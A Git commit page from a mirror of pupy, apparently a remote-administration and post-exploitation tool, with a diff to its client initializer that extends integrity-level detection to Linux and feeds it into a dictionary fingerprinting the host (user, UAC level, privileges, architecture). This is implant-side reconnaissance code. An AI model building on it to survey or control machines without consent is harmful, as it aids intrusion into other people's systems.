Rooba
/
pupy
mirror of https://github.com/n1nj4sec/pupy.git
1
1
Fork 0
Code Issues Packages Projects Releases Wiki Activity

specify integrity level for linux

This commit is contained in:
AlessandroZ 2016-11-18 13:54:31 +01:00
parent 18ad85d539
commit 682935f51f
1 changed files with 9 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

15
pupy/pupylib/PupyClientInitializer.py
View File

@ -13,11 +13,14 @@ if sys.platform == 'win32':
from _winreg import * from _winreg import *
import ctypes import ctypes
def get_integrity_level_win(): def get_integrity_level():
'''from http://www.programcreek.com/python/example/3211/ctypes.c_long''' '''from http://www.programcreek.com/python/example/3211/ctypes.c_long'''
if sys.platform != 'win32': if sys.platform != 'win32':
return "N/A" if os.geteuid() != 0:
return "Medium"
else:
return "High"
mapping = { mapping = {
0x0000: u'Untrusted', 0x0000: u'Untrusted',
@ -185,7 +188,7 @@ def get_uuid():
proc_arch=None proc_arch=None
proc_path=sys.executable proc_path=sys.executable
uacLevel = None uacLevel = None
integrity_level_win = None integrity_level = None
try: try:
if sys.platform=="win32": if sys.platform=="win32":
user=GetUserName().decode(encoding=os_encoding).encode("utf8") user=GetUserName().decode(encoding=os_encoding).encode("utf8")
@ -253,9 +256,9 @@ def get_uuid():
uacLevel = "?" uacLevel = "?"
try: try:
integrity_level_win = get_integrity_level_win() integrity_level = get_integrity_level()
except Exception as e: except Exception as e:
integrity_level_win = "?" integrity_level = "?"
return { return {
'user': user, 'user': user,
@ -269,5 +272,5 @@ def get_uuid():
'proc_arch': proc_arch, 'proc_arch': proc_arch,
'exec_path': proc_path, 'exec_path': proc_path,
'uac_lvl': uacLevel, 'uac_lvl': uacLevel,
'intgty_lvl': integrity_level_win 'intgty_lvl': integrity_level
} }